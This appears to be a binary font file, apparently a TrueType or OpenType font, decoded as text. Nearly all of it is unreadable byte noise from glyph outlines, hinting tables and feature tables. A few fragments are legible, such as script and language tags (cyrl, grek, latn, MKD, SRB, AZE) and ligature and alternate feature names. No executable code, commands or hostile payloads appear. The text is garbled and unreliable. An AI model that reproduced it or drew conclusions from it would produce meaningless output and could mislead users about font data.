"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhnt�a�ay�ya�a/�/%�������������9�R���%<�<���}�}a��}�}��a�a������������������XDXD���D�����D�C�}�D��RD��}1}s1�RD��D�}GDG�D��D��D}�R�D �R�D}BDB|�-�D�^D^��}D}^D^^D^�RFDFm���2m}m}�}�m�D��D����D���D�D�RJ�J=D=|�-C�}D����y��Da���}�}���3�3�������D}���BD�������^D���FDD��R����D��R}������g�g/�/�R�D��RD���D�|��?D��%a�a����/�/�D���9�R�XDXa�a�D}���^D^�R�D�XDXpDpC��HDH�D����R����D��D��D��D�<D<<D<�D�?D�R����R�D��R�D�~D~�R�D��D�RC��C��R}1}}D}�D�j��?�xD�}�RDGDGGDG�RGDG�R�D�R�D�R�D��D��D��D�1�1�R�D�����D�R�D}�R�D}�R�D}`D{�D��D�BDB�Rx��RC��RBDB�Rx��R�Dr�P|�-�R�D��D��D��D��D�����D�FDF�RFDF�RFDF�R ��x�i���N�N�R}�}�D��D�����D�s1�R�Dt�R�D��� �R���x�i�D��D��R�D��R���R�D�RD���,�,
D
����D���9�R�D�y����+(��/�@���
����}�a������� ����XDbD�D
D�D
D�D�D�DwDDaD�DD�D��a��D��D@�
D@�
Dr����
D�@�D
�D��
�
bD��D�D��D��D��D�xx�D�
D
�D�pDp�D��D�GDG�D��D��D�\D\\D��D88D�lDm�D��D��D�����R^D^��}D}FDFFDFaa5D5bD��D��D�\D�~D~*D*�������� � �!�!� � �������<�<�c�c�-�-�6�������-�������B�B�p�p�2�2� �-� � ���������R�R�����WDW�D�}D��D}�R�D��D����C�}C�}`��������a����[��\�����k*U��%D�}a��a�a�R���D���D�����FDF<�<�R�^D^�����}D}����D�����D�ww�������V���V��BD��}D���D.�aD��D���>D>���RD���B�R��~�R
�
���^�d��ND��R^�d��ND��RxxBDB-�-�D�-�-�D�����D�k�s�D�k�s�D�k��R�D��R���?D?�D�����X�X�D���>D>a��R�D}�R3��R�D}�R{��D}�Ro���R�D%�R3��R�D}�Ry�y�D�����D����c�c����GDG�����%����Q���f�D�D}}1lD�D�D���D��R�������D���D��D�TDT�D�
D
�9�k�k�����D��Rk$=D]��4��5��6��7��8��9��:��;��<��>

?@))BABCHJELLHPRIUVLXYN`aPijRnnTppUssVuxW||[��\��^��_��`��b��d��h
iRoTg�ii�kk�mm�������������..�oo�qr�{{�~~�����������������������������������������������������������������������4477	��
����')-@DDEGGFVVGY]H||M&'N��P��R��S��TVW

XYc#e%'j)+mYdpy�|���
�
��
�
��
�
��	����������"��-��5��;
w
�<G$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz��������������D��D��D��D��D��D��D��D��D��D��D��D��D��D��D��D��D��D�,�m�m�������������������������������D�m�D�m�D��D�D��D��D��DD�D�D�D�D�D�D�D�D�D�D�D>)2���k���k����k���������������������
�
&&&&����������&����&�2���2���������������������������������&�����a���k��������������������������Y���
�u�}�������}�}����K���������������k����������������K����������/��//&������K����������������<���k�D�D���k���a�Q�e�a�b�a�k�D��D�������k���2�a���D�D���}���D�D�D�D�D�}�D&��&�������u�}�N�Y���������N�u�Y�Y�Y���Y&�&�����������2����}���a�N���N�a�a�N�N�N�N�N������A������k�DKKKK�Y�2KKKK���<�KKKK���k��K����������&��������Y���
�u�}������������������<���k�D�D���k�<�a���a�D�a�k�����9999������D����U$$%%&&''(())**--	..
//1122
33445566778899::;;<<==IINNRRUUYZ[[\\mm}}���������� ����
��
������!����������"����������������������������#$		  ""&&%00::??}}&��&��'��(����
���$$&&**--22	66
778899
::;;<<DDFFHHIILLOORRUUVVWWXXYYZZ\\mm}}��������	��	������������ ����!����!��"����"��#��$����$������%��&��%��&��%��&��������������&��&��&��&����������&&&	'(  
!!""
##$$)%%&&''++(--(//(001133(55(66*77+88,99+::��&����&����&��)������&��,��+

*+*

+*+||,��-��.��/��0��1��/����i$%&'()*-./123456789:;<=INRUYZ[\m}������������������������������������������������	 "&0:?}�������
<�DFLTcyrl0grekblatnv��MKD  SRB  ������pAZE �CAT �CRT �ESP �GAG �GAL �ISM �KAZ �KRK �KSM �LSM �MOL �NSM �ROM �SKS �SSM �TAT �TRK �����������	aalt8case>ccmpDdligJligaPligaXlocl^locldsaltj
 (08@HPX`hX���,Jt��```t�LM��**__����^^���� ��!��'UU(X$=IIKKLMOO�����������������������������������������������������������		  ""$$&&((**,,..0022446688:;==??AAHHRRTTVV��������������������**__����^^��������UU		A�|$�IO�O�II�IL�LI
�W�WVA$ 
�
�
�
�
�J����2 &*.
�
�
�
�
�
�
�
�J��y��

z
x
{
y
~

w
�
|
�
������������
�!
�
����
�
�LM�*_^���U
�
�
�c�R��3�3��f��R��
 PfEd  ������`���,
�$,
��``~��������?COXaw����_emw���������V_��?��kx����EMWY[]}������� & : > B I O S W d q � � � � � � � � �!!	!!!"!'!+!2!D!K!N!�!�"""	""" "-"="C"H"U"a"e"�"�"�#####!#%#(#}#�#�$#&&<&G&g&o'�'�'�'�))�**/*k+,a,d,s,w,-%...%..�G�Q�W�����A�G�K�O�i�|�����������&�(��������� ��������COX`pz�����bjp���������1Ya�?��w{��� HPY[]_�������  * < B D K Q W _ j t � � � � � � � �!!	!!!"!&!*!2!A!K!N!P!�!�""""""#"8"B"H"P"`"d"�"�"�##### #%#(#}#�#�$#%&8&?&`&i'�'�'�'�'�)�**/*j+,`,c,g,u,y-..."..�D�P�T�����&�F�J�N�h�{������������(����������������������������������������|�{�z�y�k�i�e�c�O�M�K�I�G�C�A�?�=�'�#���
��X��������������������~�}�|�{�z�x�w�v�t�s�q�p�o�l�k�h�g�f�e�b�[�V�T�S�J�E�C�B�@�>�<�����������������������������������i�e�Q����������j��;���������|�u�o�������߱߰߮߭߬�,�:�4�2�*ff
fe�e]eYeSeOeMeKe3e"eeeed���
���h� ~��b���������������������?�CC�OO�XX�`a�pw�z����������_[be�jm�pw���������������������
��7=1VAY_ga�n���??�������k�wxW{Y��^��_������� E�HM�PW�YY�[[�]]�_}������-��<��J��P��c��f  &o * :� < >� B B� D I� K O� Q S� W W� _ d� j q� t �� � �� � �� � �� � �� � �� � �� � �� � ��!!�!	!	�!!�!!�!"!"�!&!'!*!+!2!2!A!D!K!K	!N!N
!P!�!�!�A!�"B""�""	�""�""�"" �"#"-�"8"=�"B"C�"H"H�"P"U�"`"a�"d"e�"�"��"�"��"�"�	##	##	##	##	# #!	 #%#%	"#(#(	##}#}	$#�#�	%#�#�	9$#$#	:%&	;&8&<
<&?&G
A&`&g
J&i&o
R'�'�
Y'�'�
Z'�'�
\'�'�
]'�)
_)�)��**�*/*/�*j*k�++�,`,a,c,d,g,s,u,w",y,%--%,..R..S.".%T....X�D�GY�P�Q]�T�W_����c��e��t�&�Ay�F�G��J�K��N�O��h�i��{�|����������������������������&��(�(�����������������������������3�֨��
0����
j����
l
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a���������������������������������rdei�x�pk�vj����s��gw���9�l|"���cn�T��m}�b����������
�:�������y���������������������q���z���{`�jyV\by�b�`{�{N\=�����������VTq���\f{fb�����--)�{bb�??)fD)���y�
�V�%h�N���fs{�juy
����jdy��{Hy`�yqq
33�Ny���j``'''Dbj�yy�b3'�b=��D)f�R�R��5fVV�VJ!/T�fDs�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX ��EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-��f��f�@��m/���1����0!%!!f�s����r)���6@r	ps
����991���0@	````]%4632#"&!#5oNNppNNoww��NppNOpp�������h�@s����1�<�20#!#������+��+�)�T@3	

	

 ���991/<�22�<�22�22�220!!!3!!!!#!#!5!!5!��F+`a�a��E��`�`��`�`��HF��R`h��h����������������$+2h@;+2ww,v %u
"p3(
/,

(%!

3��2����<����91�2�<���2��2���9073;.54673#.'#.>54&'�x�����yp�ay�|
��yn�PUcUcyehal;#���7����
��+'��t���;Ǵ����,�T=FV�WJJ`1��h�'3W@,*(}}}.}"p{4+%1	4����������1�2�<������0KSX��Y""32654&'2#"&546!3#2#"&546"32654&�@88@A88A��˿���N��Z�;��ʿ��˾A89@A88���������e���������-��������d��������R���.8�@e,-,--,2130 ! 78/!! */,!60$ ($v&6~{-vp&03 !%$')3/,$.)$)3
9����������9999999991/�������2999990KSX�9�9��9Y"�0]@0/	078/0178		/
078/0178OOf0v/u0]])'# 5467.54$32#.#">7#5!#3%326�!d�����33�J�|�tket�
�<D	��[JΪ�D��78դN��PP��SCz9����|r`R\�	�D�qxx��W�lLC�S��1�����s��1��0#����+���^
@
vv�
��21����0$%^����HU������}�ZZ̄x`��������`h��
@vv���2�1����056'5h����UI����x`yXYy`x��4�����.-9�W@/
	
{
		
�<�2�2�<�2�2991��<�2��2990
%#'-73%��hb�����bi��bH�H�����{������x���"@	�
�<��<�1�<��<�0!!#!5!������������?	!@	�
	
���91���990>=!hb���TЊV��mo������1��0!!ot��������#`8�
��K�QX�
<<<<Y1�r	p��K�QX�<<<<Y074632#"&�pNOppONp�NppNOpp�B��@
s/��91��03#����m`��1�"@uu{p	����1����0%26&#" ! �xYYxxYYx���>+*>��X�����H�I�u�ww��p�����q���
:@��*v{	����1/��2990KSX��Y"!5!5%!!��w;y����y���X@+
	*u{�

�������9991/�����990KSX�9�Y"#>3 !53!57$54&#"xz�z?���`É������v�dB%%�Д��J����������*U@-	vu)&u{p+ #	)
#
+��������9991���������90>3 !"&'332654&+532654&#"#���v!�������v��y������B4����v�y�##����̱��((H������x����{T=�L@%��*v	
v{
��<��<�91/�<�<�290KSX��Y")53!5!!!3����qx����Cys������+�����G@&uu�sp 
	
 �������91�������990!>3 !"&'332654&#"#���B�Z@����z�x������Lw3d����34�����(*F������?B����#�%6@ uu	u{	p&
#&�������1�������90>32! !2#.#"2654&#"�A�_������^XZ�vy�n���gXXggWWu44����qf����fi�ѯ�د��د���7@*�s	���91/��0KSX��Y"	#!#!��X��E�)���j��#�#/C@%'u!-uu{p0$*$*	0��������991������990! $5467.54$! 4&#"3264&#"326�������Ⱥ�����L\]KK]]K']rs\]rq^̥���Υ�$����Ⱦ��'�ww��uu�շ������o���%@@##u#uu{p& 
	&�������1��������90"32654&#"54! !"&'3326�gWWggXXxB�^�$2<����Z�vy�o��{��د��د��55������i�afi����7� @	rrp��<�21����04632#"&4632#"&�oNNpoOOnoNNppNNo-OpqNNnn��NppNOpp5��7�.@	r������91����904632#"&>=!�oNNpoOOn�ib��-OpqNNnn�eSϊX�m�B��@��291��90	5�-�����������-��@�����<�21���0!!!!���������B��@�<�91��9055������1�0�P���T�"9@r	!�{	p#!#��������1��������0%4632#"&>32#>54&#"#VpNOppONp�|�i�������zwnw	y�NppNOppY""�����++���������o�Nj@84O151
t
�tM�1�8�%�8DO45M
J+J>O��������229991�����<����9999054&#"326#"&5463253>54&'.#"3267#"$'&5476$32!#�|ecyyce|,�Z��ڿZ�,ۏ�nq\����^��aYk�z�g9�����~��~�GͲ$s������L��������HL����LG}�'갏�`NTFEj��ś��ewzDC^TT~~|K��J}~|abo������L��@Q	

*v
	vs


��91/<��2��90KSX��2���2���Y"#5333!53!3!z2�3��E�{��}���y\��yy1��y#;`R�$R@(v#�vsv ##	 %(#"%��2�2����99991/�2��2��90�&P&p&]353#5! !32654&+32654&+`��u������������������y�y����Ƥ��f}��v�����V����?@�~
�~	{p%
������1������0@
0ou{{�]! !2#.#"3267�;������I�z� �'Ω���ܕ�+����ef�@A��������������`��8@vs
v	%
	(#"���2��99991/�2��20���]%32+53#5! !�������������U�oy,GE+��y�y�������`��W@.
��v��	�v�s�v)(
#"��2�2������21/����������0�Po]353#5!#5!!53#5!!53`��>�������y��y�y���!��������`��O@)
����	�v�sv)*
#("��2�<����21/�2������0�]353#5!#5!!53#5!3`��3���{�����y�y���!������yV��3�D@!
v	~�~{p(%
�������1��������90� P ].#"3267#5!# !2�-ҿ����T�;��������I���6�Ʊ�������&&�x��NL�hi�@A��`3�^@-	��v
sv-
-(
#(#"��2�2��2�2�2�21/<�2�<�2��0@P���]353#5!#!#5!#3!53!3`���R��������y�yy�
�yy�yyd��y``�9@vs	v
(#("��2��21/�2��20@
0
@
P
`
p
�
]353#5!#3`����y�yy�y�j�V{��@	�~
	vs�(#
*.�����1���2��990@
///0@P]K�TK�T[K�T[K�T[X���@878Y@____Y_p�]533265#5!#!"&��MLaM�����S����^X��+yy����"`3�@>
	*	
vsv

(#("���2�<�291/<�22�<�290KSX����2Y"�	]@�	



,
&&*
*))'9H
E@E@C
CCHA@@@W
SSS
SSZy
�
����������=	
	!	&5	6B	GQ	Vv	�	]]353#5!##5!#	3!3`���y�-��ٓ��g�y�yy��!yy�3��y��y`s�
=@	vs	�v(
(#"���2���1/���2�0@	0
000
]353#5!#!53`���L�y�yy�-�V{��@D*
vsv((
	(#("���2���2��991/<��2�<�290KSX����Y"�]@>(Sp
&&&:VPf`uwvvp��]]353#5!	!#3!53#3V��h��g�����1��3�y�y�B�y�yys����yZ��~@-*v
sv	(((
("���2�����1/<�2�<�22990KSX��Y"�]@@Php���&77h]]353#5!#5!#!3Z�����
����m�y�y���yy��7�ByV����/@~~{p%	%
����1����0@	o��]%2#" ! {�����������T�xy��S\BKLB��������y�jj��d�����d`��J@"vvsv
/	*
#	("��2�<��99991/�2��2��0�Pp�]353#5!2#!332654&+`��R�&������p����py�y����y㭑��V���� E@~~{p!	%	%
!����999991������90@	o""�"�"]$! ;#"&2#"u���[�xy�����5�y3��L��������hj��d����t/92��)BKLB��������`��$�@H
	*v�#vs
v  #( $(#"%��2�2�����999991/<�22��2��9990KSX��9Y"�]�]3!.+3!53#5! %32654&+?Yz-ڙ��EaV=����T���������
\W�`yÌM��yy�y���!�������L�)@?#"$! * !�~'�~{'p* !1$0*��������99991������90KSX�9�9Y"�+]@�"(
(((
((( (!("(#:
:::
::: :!:":#X
XXX
XXX X!X"X#k
kkk
kkk k!k"k#�
���
��� �!�"�#�
���
��� �!�"�#?0+P+�+�+]]7332654&/.54$!2#.#"!"$�ؿ��n��۲'
��ĵ��h��л��ђ��Hb��vrZd+78Ǹ�,,����gf]a474���2��o@	�s
v
(#(�������1/�2��2990K�TK�T[K�T[X���@878Y@@_`������	�
�]!53!#!#5!3s�g�ȇ�d�y��u���-yF����N@$	
vsp((((#.�������1��<�2�99990@	?���]#5!#326#5!#! �������������\yy������yy�����&U��R��@9

	
*	vs

	��91/�<�290KSX�2���2Y"�	]@
	
#
# @P]]###5!#	#5R}���͍������y��\yy�#�y��	��@\



	
*	vs

��91/<�<<�290KSX�2���2����Y"�
]@D
"CFSV	&&
'##EFFGH@TX
WP]])	!#5!#	!	#5!#���������V�ĠBH#�Ι?��\yy�k���yy
3�)@f

*v
sv
	��91/<�2�<�290KSX�2���2�2���2Y"�]@4*%

&+++))+]]K�TK�T[K�
T[K�T[X���@878Y@8==;;44?O]]	3!53	#5!#	#5!#	3!53��ɸ����-��!������?�:yy;�yy�\�yy��5yy�����@A

	


	*
v
sv
	#�����999991/�2�<�290KSX�2���2Y"K�	TK�T[K�T[K�T[K�T[X���@878Y@P
		

 JJ[[YY
_nnh	oo
xxx	zz

ppp��
���
&]]!53#5!#	#5!#3`�D̦PN���b�y��yy��9yy�B��yL��
y@"		*	�s	�	
������991/���0KSX��Y"K�	TK�
T[K�T[K�T[K�
T[X���@878Y�O]35!#!!53L{�5������h��A����7@vv���21����0!#3!7���x��x�B��@
s/��91��0#����m�����@vv���2�1����0!53#5������x2x����@
s��91��290	#	#��J�J���;��-����/�1��0!5��۾����f-���1��0K�	TK�T[X���@878Y	#����f��xT��D(�@1&&�&�����p #35#2)�����22��991/�������99990@,*:?????9O**
+//
 !"]]3!5#"&546;54&#"#5>3 5#"326h��F�n�����z�jsq_�q	���cjMORd���y�TP����?�{Wc�""���leedl/��F!G@$!�����p�><58"��22�2��1/������99990�?#]7#5!>32#"&'!532654&#"ǘ�-�p����p�-��_jmYYmj_y#x��SQ�������QS�yf����實�T���D2@�
�	�p3>2������1�����0�]# !2#.#"3267�&����4o�up~r�}z�k�L��&(**�ه���πxT��h!L@%
�
�� �
�p�55
<>2"����<<�1/������99990�?##�#]54&#"3263!5#"32#5!o`inYZmi`b��-�p��p�-���i����尦�y�SQ,*QS�xT���De@"
��
����p>9	?2��2����1������990@"`�������	�
�����	�
]]4&#"!32673# ! 5N^[O�%|�s��+����.
Xҩ��wηzt��#(��?�e@&
������3
+	5A�<���<���1/�2�2����2990K�
TX�@��878Y�0	0
]#.#"!!3!53#5354632�pKEPH���:�����U�N
NLs��y��yy5y���T�9hD,t@., #)���#����p-	35 <&>2-�����22��1��������9999990@

(
?.	
	
  	$
	]]!"&'53326=#"325!4&#"3265����j�sq����-�p��p�-��`inYZmi`��`�!!�if��ySQ,*QS�y������尦�?�x@,
�
���
�JH5
F5CA���2������1/<��2���99990�]K�
TX�@��878Y�/��]353#5!>323!534&#"3F��@�}������EUkd�y#x�}_T���yy5�i���#yF�;@�	���K
55A��2����1/�2����0@/`��]4632#"&3!53#5!�pQOooOQp���o���TQooQOon�uyy5y�h�9=L@%��	�	���3K
5A������1������9990� / ]4632#"&#5!#"&'53265�oRNpoOQp)����<�Iq;BI:TQopPOon��y�\���PG^{F��@H�	�		LL*
	�����	
H5A���2�<�991/<��2���290KSX�9���Y"�]@0

		
/?]])53#5!#5!#3!533����������s��}��c�y#x��yy���yy{X��F�	1@���55A
��2��1/�2��0@/`��]%3!53#5!?��o���yyy#xFHD0|@? 
+'�)�.�%!�)�#	
HN5N"H* ($5&A1��2�<���������91/<<��2�<�2�990@
2/2@2`2p2�2]>323!534&#"3!534&#"3!53#5!>32�J�s�����=S^h��>R_h�����>�n��yja���yy��h����yy��h����yy5y�]VcF�Dy@,
��
���JH5
F5A��2�2�����1/<��2���99990�]K�
TX�@��878Y�/��]353#5!>323!534&#"3F���@�}������EUkd�y5y�_T���yy5�i���#yT��D-@���p>;	>2����1���0�@`]%26&#" ! �p[Zqq\\q��?>��T������q+)�������/�VFD#q@+
�
�"� 
��� �p$4><!5
8$��22�2���1�����2��99990K�
TX�$@$$��878Y@	%?%%�%]32654&#"%#5!>32#"&'3!53)_jmYYmj_����-�p����p�-��b�Hi����實�y�SQ�������QS�HyyT�VhD#S@*# �
������
p$45<>
2$����2�<<�1�����2��99990�o%%]3!53#"325!4&#"3265ї�c�-�p��p�-��`inYZmi`��!yy�SQ,*QS�y������尦�;LDU@%	���
	��
43C5A���2����1/��2����9990@
/?O_]#.#"3!53#5!>32LqPLt���F��4�|Y3��US̵�\yy5y�ok	X��-D)@C
Q! 	
Q ! * !����'���'p* !33O$O2*��������99991�������90KSX�9�9Y"@
	

]@�+�+�+)	)
),,
)6#E#Y	Y
YYY
YYY Y!Y"Y#j	j
jjj
jjj j!j"j#�	�
���
�� �!�"�#�	�
���
�� �!�"�#�	�
���
�� �!�"�#<]]7332654&/.54632#.#"!"&`q��lsIi����^Ձq	��lo@S�Ѡ����c�)w}KF@F%)����!��mnEB6>%5����1���q^@
��
�p�	8�<�2����1�2����2990K�TK�
T[X�@��878Y�O_]#53!!!32673#"&5˚�b'��,:@>�	��ۜ�yJ��y�u�DVZ����/���'i@#���p�H5F
58�����<�1/��<�2�99990�]K�
TK�T[X�@��878Y���]3!5#"&5#5!3265#5�?�}����BXkc�'�Ry�_T��+y���k���y���'}@:
	�

�
LL*�
�
		��91/�<�290KSX�9���2Y"�(]@
,+KK[[]!#5!#	#5!#��ub�
��{���yy�`�yy�R��'�@[�
�	

L
	L��L
L

*

��

	��91/<�<<�290KSX�2���2����Y"�]@:
+
7	

&##**(7669GGCCFJWW	Y]]#5!####5!#P�ȋ�}������tZ}��'�;Lyy�R��f�yy����'3@e��
L
L��LL*���

	/�91/<�2�<�290KSX�2���2�2���2Y"�]@�



%+++
)"""99?9?9
85566LIILDDZ^^ZX
Wxx8$*59]]#5!#	3!533!53	#5!#ϼ�����<��\��ɏ�J���w���yy���Fyy��yy��yy��9�'�@\�
���LL*����3����9991�<�2��99990KSX�2���2�2�Y"�]@B

%%55<<<<<<FFSSVV]]#"&'5326?#5!##5!#0�s1xGqCCAP(�1se�����ub�MJGc%5yy��uyyHF'
�@$	LL	*�	���	�	
33��2���991/���0KSX��Y"K�	TK�
T[K�T[K�T[K�
T[X���@878Y@'
`]]35!#!!53Hb�5w���wy9�+w�������m*\@/	+ #&'����+#
*&
+�<�<�299999991�����99999990#"&'.=4&+5326=467>;#"3m��2k�==�k2��gpRc��aRp�y1>$np��sys��pm%=1x^���"����^�����1��0#������y*^@0"+#�)���+)"+�<�2�<�99999991�����999999903265467.54&+532;#"+�eoSb��dSoe��2k�>>�k2���^���"���^x1=%mp��sys��pn$>1���?-@����991�����99990#"'&'&'&#"5>32326�]�e_�
�aM�``�d_��eM�?�VR:BHI�WQ9DH��{)@rs	�
����991���0#"&54632!53pNOnoNNp��u��NnnNOpq��J������L"S@+

u
u�
p#


">#������<<�22�1�������99990%%#$%3#.'>7�cWVR ��y���.y;�vqnd[h^k����ӝ���%#��&%��~���zj���L@(
vu{v�	

�<�2�2����91/�2������2��990#.#"!!!53!53#534$!2�xcTuf`���������A�x�al����y���y=y��L=��/u@>
)0- *(-!'-0
	)'!$*	$	( $	0��2���2�9999991������9999999902654&#"'7.5467'7>327'#"&�[�\[�~|ї�љ�0l=7m9͘�ќ�.j?:l�\\\]~�Ϛ�.k@?l.͞�Ӛ�8o6?i/Ӛ�'R�$�@\*v
� vvs"v##!	
%�<���2�<���29999991/�2�<�2�<�2�<�290KSX�2���2Y"�]@HD,
,##3553;??<LLEGXo
o�� ]]!53!5!5'!5!#5!#	#5!#!!!!3F��m�=��߉������$��5��m�yZu;�u�yy��'yy�#utNu��y����@�<�21����0##������
���
�?�=��5C�@l)(*'W<=<$%#&W==<
WC6C	
W66C*C=<6'&- ��3{D=@#69&@#-'9C<#Y#WYW0@WV09WV*D������������99999999991�������990KSX�9�9�9�9Y"#.#"#"&'5332654&/.5467.54632>54&'�whaQ[6Z���rrSM��S�fvhjW]5[���ssSO��J��r,.[n�-/]p��VVJC/B/Hb�sh�+/Z���ZRJE/B/Hc�rg�,.�Y����!N-=f:X#O*<f;�)sNK@	__���1�<�20K�TX���@878YK�
TX�@��878Y4632#"&%4632#"&�X<<UV;<X�W<<XX<<W�<VV<<WX;<VV<;XX��/JG@&0�G�3=�A3�$A�<9�$><D^6J<0*Z6Z\K���������1/���������02#"$'&5476$"3267>54&'.#"&54632#.#"3267�mmllmm������mmllmm�y�WVVVVV�y{�WVVVVX�������O�WiiQhwviIb�nmm������mmnnmm��mmn�WWV�{z�VVVUWV�z{�VXV�������%'�^j����\Y=���!,k@7"*#	�#�*���{-$''"f'f-�����22��99991�����������99990!!3!5#"&546;54&#"#5>325#"326q���s��3�U{����^_LX
`I�T���eHS=9?K���^\96zr�~ZYA>�����KA>CJ��?-
-@		h
h�<��2991�<�299055?��+	��+-��������������������@
����1��90!#!�������o������1��0!!ot�������$<T�@S
	11*�
�I#��=%I1O #] ^^][OZ+[CZ+\7U������2�2��9999991/������2�<�22�9990KSX��9Y"3#'.+3!53#5!2%32654&+2#"$'&5476$"3267>54&'.�'<d<�u ;7V��VV�x�c��COUUOC\�mmllmm������mmllmm�y�WVVVVV�y{�WVVVVX��5)�R�D+��RR�Rn_Yf$HCCH�nmm������mmnnmm��mmn�WWV�{z�VVVUWV�z{�VXV�P;(���1��0K�
TX�@��878Y!!�v����dL�@
zUU����1����02#"&546"32654&Bz0/11-0|D����HdcIHde�3/0xDCy-03�����dHHbcGHd��)@	�
�
�<�2�<�21/��<�<�07!!!!#!5!�������������f�fV��@@ ���{
k
�������9991������990#5>32!53!57>54&#"�^H�P��m���d�H��dSI?W��rR�Z�`��T{�]T_SZ�/�*N@)	���)�&��{+ #	)#kk+��������9991��������90>32#"&'5332654&+532654&#"oX�@��ifx|��P�P`VOX]b[)QWNHBP`�idH^o]z{�POVRPWTD@?FI@Z�sf-���1��0K�	TK�T[X���@878Y!#\���f��9�V�'�@1����p��
5H5F5A ��2�2��<��1/���<�2�2�99990�!]K�
TK�T[X� @  ��878Y�@!]3!5#"&'3!53#5!3265#5���7mJ;!��n���DXjc�'�Ry}SG��yy�y���n���y��;��-@
�s	
	������91�2��290!####.54$o+q������}����Nݸ���
#��	��1��04632#"&�pNOppONp�NppNNoo�o�@
�
	�	����91/����0!#"&/32654&'R>;�y0f4-U$<?!3@m4VZ

�/-BD����
?@��*��{	k����1��290KSX��Y"535733������^eei}�^=���*@�
�{
f
f����991������0!!2654&#""&54632q���LCCLMBBM��������?��������Vз��ѷ����b-
-@
h
h�<��<�991�<�29905%5��+����+��-����AB�����AB������'��d&{���������&{'��t�d��Z���'��d&u��\�n+{"7@!r	��	�#!#��������1���������0#"&54632#"$54$75332673ZpNOnoNNp�|�i�������zxmw
x�NnnNOpq��""������+����������Lk&$
zu����Lk&$
xu����Lk&$
{u����Lo&$
yu����L�&$
wu��Lm&)�@d)')(" !')()&%$#*)"v'	'x$ 
v#'%$*!")(*������999991/<�2�����9990KSX��2���2���Y"32654&#"53.546323!53!3!�N57MN65N�_z:?�uv�=<��E�{��}���P6MM66MM�zy�%yJu��uJv(�yy1��y#;����#�@Y
	*�v!��v���vs
	v�
	$) "(#$�<�2��������2991/<���22��2�������0KSX��2��Y"K�TK�T[K�T[X�$��$$@878Y!#53!3!53#5!#5!!53#5!!53��Ks������TrP����o����o�!;��y/��yy�y���!����������V�o��&&zo��`�k&(
z/u��`�k&(
x/u��`�k&(
{/u��`��&(
w/u��``k&,
z�u��``k&,
x�u��``k&,
{�u��``�&,
w�uX��L@&	��vsv

%
(#"�<�2�2��99991/�2��2�<�20��]%32+!!53#53#5! !������L����������W�py+HF*����7yP�
y���������Z�o&1
y�u��V���k&2
z}u��V���k&2
x}u��V���k&2
{}u��V���o&2
y}u��V����&2
w}u/��/@
	
	�<�291�<�290		'	7	��H���H�H���G���9�H�H���H�����H�D���!	+|@=,
+&
 )
*&
~~&{p,,#* #
)#+%%#
,����999999991�����99990@	o--�-�-]	.#"324&'!"$''7&5!27�*�t��
/-�tø
ZZ�S�����j�Z�[[�x�
h�Z��w{����L��zxNfAe+h������dNN�Z�f�j�MM�Z��F���k&8
z�u��F���k&8
x�u��F���k&8
{�u��F����&8
w�u�����k&<
x�u`��W@)v	vvsv
/
*#
("��2�<<��999991/�2��2����0�Pp�]353#5!#!2#!332654&+`��/��&������p����py�yy������y�����F���4s@:/.#�	'�"��p	�/.$*$3"2*25
A5����������999991/������990@	/66�6�6].#"!534$! #"#"&'332654'&/.546�`pmb��

��.SX�b��P�dy
b^L^�YfZ��|cw��Zy����[Y(C=?��l��kbXHiu@J�i����T��f&DCX��T��f&DvX��T��f&D�X��T��V&D�X��T��N&DjX��T��&D�XT��nD5@�@E(.&>6.&�7�&��>�.�+��03� p&A8&;?'.3/6'?;/#2A�������2���299991��2�<��<�����9999990@@:,?-?.?/?0?1PB�B+-/.//$%&'789:������������]]4&#">3 !32673#"&'#"&54$!354&#"#5>325#"326�N^[O�M�o	�%|�r��+���NY�|�����{grq_�q���mjOYV^Xҩ��PNN���ηyu��MONN����?t�Wa�""M�S�nqq`p��T�o�D&Fz���T���f&HC���T���f&Hv���T���f&H����T���N&Hj����f&�C���F�f&�v����f&������N&�j�T��-j@7""�(�p�.+%	+%	+>;%>	2.����99999991������99990�@/`/]! 5432.''%.'7%.#"32654&�����?�*V,A/��24�d��[J/��/K o^^oo\9��m���%��.?n4�d�&>nI7�g����꾼�k���F�V&Q����T��f&RC���T��f&Rv���T��f&R����T��V&R����T��N&Rj��{��'@	�	��<��<�1�����04632#"&4632#"&!!�X=>XX>=XX=>XX>=X����=XX=>XX�Z>XX>=XX!�3��#�'|@>('%"&"��"�p((&%'?;?2(����9999999991����99999990�@)`)]	.#"326=!"&''7.5!27��ZMn]\Mm\
BC����o�P�T�AB?t�H�V��ZX���YY��H�v����12�V�K�u)21�V��/���f&XC���/���f&Xv���/���f&X����/���N&Xj�����9�f&\vT/�VF#q@+
��"� 
��p ��$4><!5
8$��22�2���1�����2��99990K�
TX�$@$$��878Y@	%?%%�%]32654&#"#5!>32#"&'3!53)_jmYYmj_����-�p����p�-��b�Hi����實�x��SQ�������QS�Hyy����9�N&\jT����LP'qD$��T��&qBD����L}'�H$��T��5&�wD����oL�'��$��T�oD'�PD��V���k&&
xyu��T���f&Fv���V���k'
{yu&��T���f'��F��V����'
yu&��T���N'��F��V���k&&
|yu��T���f&F����`�k&'
|au��T���&G
v����X���T��})a@1
& �(�
�"�$�
�p�#l!5'%
<>2*���<��<�91/�������<�299990�?++�+]54&#"3263!5#"32!5!5#5!3#o`inYZmi`b��-�p��p�-��D�����i����尦�y�SQ,*QS'x]x�x��`�P'q�D(��T���'q�H��`�k'
~/u(��T���5'��H��`��'
/u(��T���N'��H��`�o��'��(��T�o�D'�HH��`�q&(
|+{��T���f&H����V��3k'
{�u*��T�9hf'��J��V��3k&*
~ju��T�9h5&J����V��3�'
�u*��T�9hN'��J��V�3�'����*��T�9h'��J��`3k'
{�u+�����k'
{DuK`3�#'353#535#5!#!5#5!#3#3!53!3!5!`�����R�����������R��y���yy��yy���\yyd��yf�?�%353#535#5!!!>323!534&#"3F����g��@�}������EUkd�y3�gx߉��_T���yy5�i���#y��``o'
y�u,���V&�����``P'q��D,���'q�B���``k'
